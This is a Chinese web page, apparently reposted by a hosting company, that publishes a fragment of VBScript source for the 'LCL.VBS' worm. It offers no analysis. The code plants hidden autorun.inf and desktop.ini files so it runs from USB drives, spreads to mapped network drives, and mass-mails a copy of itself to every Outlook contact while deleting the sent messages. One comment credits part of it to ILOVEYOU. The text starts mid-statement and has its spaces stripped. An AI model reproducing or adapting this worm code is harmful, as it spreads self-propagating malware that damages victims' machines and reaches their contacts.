LCL.VBS 病毒源代码
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| orun.inf").attributes=7 inf.writeline"[autorun]" inf.writeline"open=" inf.writeline"shell\open=打开(&O)" inf.writeline"shell\open\Command=WScript.exelclrun.vbs" inf.writeline"shell\open\Command=WScript.exelcl.vbs" inf.writeline"shell\open\Default=1" inf.writeline"shell\explore=资源管理器(&X)" inf.writeline"shell\explore\Command=WScript.exelclrun.vbs" inf.writeline"shell\explore\Command=WScript.exelcl.vbs" inf.close setini=fso.createtextfile(d&"\desktop.ini",true) fso.getfile(d&"\desktop.ini").attributes=7 ini.writeline"[.ShellClassInfo]" ini.writeline"CLSID={645FF040-5081-101B-9F08-00AA002F954E}" ini.close setlclrun=fso.createtextfile(d&"\lclrun.vbs",true) fso.getfile(d&"\lclrun.vbs").attributes=7 lclrun.writeline"OnErrorGoTo0" lclrun.writeline"setfso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")" lclrun.writeline"iforeachdinfso.drives" lclrun.writeline"ifd.drivetype=1andd.isready=trueandFormatNumber(d.FreeSpace/1024,0)>99then" lclrun.writeline"fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes=7" lclrun.writeline"setwshshell=wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")" lclrun.writeline"wshshell.run"&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34) lclrun.writeline"wshshell.run"&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34) lclrun.writeline"endif" lclrun.writeline"next" lclrun.close endif next dimwshnetwork,netdrives,net1,net2 SetWSHNetwork=WScript.CreateObject("WScript.Network") SetnetDrives=WSHNetwork.EnumNetworkDrives IfnetDrives.Count>0Then Fori=0TonetDrives.Count-1Step2 net1=netdrives(i) net2=netDrives(i+1) scan(net1) scan(net2) Next EndIf dimoutlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments SetoutlookApp=CreateObject("Outlook.App"&"lication") IfoutlookApp="Outlook"oroutlookapp="outlookexpress"Then SetmapiObj=outlookApp.GetNameSpace("MAPI")''''获取MAPI的名字空间 SetaddrList=mapiObj.AddressLists''''获取地址表的个数 ForEachaddrInaddrList Ifaddr.AddressEntries.Count<>0Then addrEntCount=addr.AddressEntries.Count''''获取每个地址表的Email记录数 ForaddrEntIndex=1ToaddrEntCount''''遍历地址表的Email地址 Setitem=outlookApp.CreateItem(0)''''获取一个邮件对象实例 SetaddrEnt=addr.AddressEntries(addrEntIndex)''''获取具体Email地址 item.To=addrEnt.Address item.Subject=title item.Body=text SetattachMents=item.Attachments attachMents.Addfso.GetSpecialFolder(0)&"\lcl.vbs" item.DeleteAfterSubmit=True''''信件提交后自动删除 Ifitem.To<>""Then item.Send wshshell.regwrite"HKCU\software\Mailtest\mailed","1" EndIf Next EndIf Next Endif remnextfromiloveyou. setout=WScript.CreateObject("Outlook.Application") setmapi=out.GetNameSpace("MAPI") forctrlists=1tomapi.AddressLists.Count seta=mapi.AddressLists(ctrlists) x=1 regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if(regv="")then regv=1 endif if(int(a.AddressEntries.Count)>int(regv))then forctrentries=1toa.AddressEntries.Count malead=a.AddressEntries(x) |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
上一篇: vbs下一些取特殊路径的方法总结下一篇: VBS调用WMI快速关闭IE的脚本
关于LCL.VBS 病毒源代码的所有评论
